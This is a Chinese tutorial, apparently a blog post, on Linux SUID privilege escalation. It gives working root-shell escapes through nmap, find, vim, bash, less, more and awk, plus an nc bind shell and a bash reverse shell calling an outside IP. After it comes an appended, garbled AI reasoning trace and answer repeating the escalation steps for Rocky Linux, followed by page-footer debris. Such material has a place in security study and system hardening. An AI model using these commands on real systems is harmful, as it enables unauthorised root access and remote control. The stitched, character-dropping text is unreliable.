linux系统suid提权

什么是suid

​suid(set uid)是linux中的一种特殊权限,suid可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。

suid特点是用户运行某个程序时,如果该程序有suid权限,程序运行进程的属主不是发起者,而是程序文件所属的属主。

linux引入了3个文件来管理用户组:

1. /etc/passwd存放用户信息。

2. /etc/shadow存放用户密码信息。

3. /etc/group存放组信息。

在文件系统中的每个文件的文件头里面添加了用户和文件之间的关系信息。

用户信息/etc/passwd每行共有7个字段冒号隔开:

字段1为用户名。

字段2为用户的密码。

字段3为指UID,每个用户都有自己的uid。

字段4为组UID,每个用户都有不同的uid。

字段5为解释说明的字段。

字段6为指用户的家目录。

字段7为指登录shell,用户登录shell,当前为/bin/bash表示可以登录,/sbin/nologin标识不被授权登录。

利用特点​

在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。

只有root用户的uid是0,如果黑客把一个普通用户的uid修改为0,那么他只要以普通用户的用户名和密码登录系统就会自动切换到root用户,在系统加固时一定要找出有哪些用户的uid为0。

假设可执行文件binexec其属主为root,当以非root身份登录时,如binexec设置了suid权限,就可以在非root身份下运行该可执行文件,可执行文件运行时该进程的权限为root权限。

利用此特性,就可通过suid进行提权。

设置suid

设置SUID权限

chmod u+s filename   设置SUID位
chmod u-s filename   去掉SUID设置

查看文件权限

image-20210512091902369

chmod u+s binexec

image-20210512092001895

可以看到binexec文件的权限描述符由-rwxr-xr-x变为-rwsr-xr-x,已经获得了suid权限。

可执行文件提权

具有suid权限的二进制可执行文件如下:

nmap
vim
find
bash
more
less
nano
cp
awk

如下命令可以找到正在系统上运行的所有suid可执行文件。

这个命令将从/目录中查找具有suid权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,列出该用户具有访问权限的那些二进制文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

image-20210512093627280

以上所有的二进制文件都将以root权限运行,随便找一个。

image-20210512094121712

可以看到其设置了suid权限且属主为root。

nmap

适用版本:nmap2.02至5.21。

在早期nmap版本中,带有交互模式,因而允许用户执行shell命令。

使用如下命令进入nmap交互模式:

nmap --interactive

在nmap交互模式中通过如下命令提权

nmap> !sh
sh-3.2# whoami
root

msf当中也有利用nmap进行提权的模块。

exploit/unix/local/setuid_nmap

image-20210512095047083

find

​ find用来在系统中查找文件,它也有执行命令的能力。如果配置为使用suid权限运行,则可以通过find执行的命令都将以root身份去运行。

touch anyfile #必须要有这个文件
find anyfile -exec whoami \;

image-20210512100729353

#进入shell
find anyfile -exec '/bin/sh' \;
sh-5.0# whoami
root

也可以利用nc 广播和反弹shell

广播shell:

find user -exec nc -lvp 4444 -e '/bin/sh' \;

在攻击机上:

nc 靶机ip 4444

反弹shell:

find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;

在攻击机上:

nc -lvvp 4444

vim

vim如果以suid运行,它将继承root用户的权限,可以读取系统上的所有文件。

vim.tiny  /etc/passwd

通过vim进入shell

vim.tiny
#vim命令
:set shell = '/bin/sh'
:shell

bash

以root身份打开一个bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

less

less命令也可以进入shell

less /etc/passwd
#在less中输入:
!/bin/sh

more

more命令进入shell和less相同

more /etc/passwd
#在more中输入:
!/bin/sh

使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能,无法使用!命令进入shell。

cp

使用cp覆盖原来的/etc/passwd文件

awk

awk命令进入shell:

awk 'BEGIN {system("/bin/bash")}'

image-20210512105224739

<think>好的,我现在需要帮助用户了解在Rocky Linux中如何利用SUID进行升。首先,我需要回顾一下SUID的基本概念,确保自己理解正确。SUID(Set User ID)是一种特殊限,当设置在一个可执行文件上时,无论谁运行该文件,它都会以文件所有者的限执行。例如,/usr/bin/passwd就有SUID设置,这样普通用户修改密码时能临时获得root限。 接下来,用户的具体问题是关于Rocky LinuxSUID教程。我应该先解释SUID的作用机制,再逐步指导如何查找具有SUID限的文件,然后分析这些文件是否可能被利用。常见的可利用的SUID程序包括bash、find、vim等,如果这些程序有SUID位,可能被用来限。 需要确保步骤清晰,用户能够一步步跟随操作。例如,使用find命令搜索SUID文件:find / -perm -4000 2>/dev/null。然后列举一些常见的可利用命令,并说明如何利用它们执行操作,比如使用find的exec参数执行命令,或者通过bash -p获取root shell。 同时,必须醒用户注意升的合法性,只能在授的环境中进行测试。此外,需要到防范措施,比如定期检查SUID文件,删除不必要的SUID限,使用最小限原则等。 在回答中,还需要引用供的参考资料。例如,引用[3]中到了SUID的作用和示例,引用[1]中的chmod命令设置SUID限,这些都可以用来支持解释。引用[4]中的例子展示了以root身份执行代码的情况,可以说明SUID的实际效果。 最后,生成相关问题,帮助用户进一步学习,比如如何检测系统中的SUID文件,或者SUID与SGID的区别等。要确保问题相关且有引导性,促进用户深入理解。 需要检查是否有技术错误,比如命令是否正确,步骤是否可行。例如,使用find命令时,参数是否正确,是否有处理错误输出的重定向。另外,到的示例是否适用于Rocky Linux,因为Rocky是基于RHEL的,可能与Ubuntu有些不同,但SUID机制是通用的,所以应该没问题。 总结回答的结构:先介绍SUID概念,然后步骤分解,包括查找文件、分析利用、示例演示,接着是防范措施,最后相关问题。确保每个部分逻辑清晰,语言简洁,符合用户要求的中文回答,并且正确使用LaTeX格式标注行内公式(如果有的话,但当前问题可能不需要数学公式,不过需检查是否有需要的地方)。</think>### Rocky Linux SUID原理与实现 SUID(Set User ID)是Linux系统中三种特殊限之一,当可执行文件设置SUID位后,执行该文件时会以文件所有者的身份运行[^3]。该特性常用于需要临时限的系统工具(如$passwd$命令),但也可能成为攻击者升的入口。 --- ### 一、SUID实施步骤 #### 1. 查找SUID文件 ```bash find / -perm -4000 2>/dev/null # 搜索所有SUID限文件 ``` 关键结果示例: ```bash /usr/bin/bash /usr/bin/find /usr/bin/vim /usr/bin/cp ``` #### 2. 分析可利用程序 常见危险SUID程序: - **find**:可通过`-exec`参数执行命令 - **bash**:使用`bash -p`可保留特 - **vim**:通过`:!bash`启动shell - **cp**:覆盖敏感文件如/etc/passwd #### 3. 操作示例 **▌ 通过find** ```bash touch testfile find testfile -exec whoami \; # 显示当前执行身份 find testfile -exec /bin/bash -p \; # 获取root shell ``` **▌ 通过bash** ```bash bash -p # 启动特shell id # 验证uid=0(root) ``` **▌ 通过vim** ```bash vim /anyfile :!bash -p # 在vim中启动shell ``` --- ### 二、防御措施 1. **限审计**:定期执行`find / -perm -4000`检查 2. **最小化原则**:使用`chmod u-s filename`移除非必要SUID限[^1] 3. **命名空间隔离**:容器环境中限制root限传播[^4] 4. **系统更新**:及时修复类似CVE-2015-1328的本地漏洞[^2] ---
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值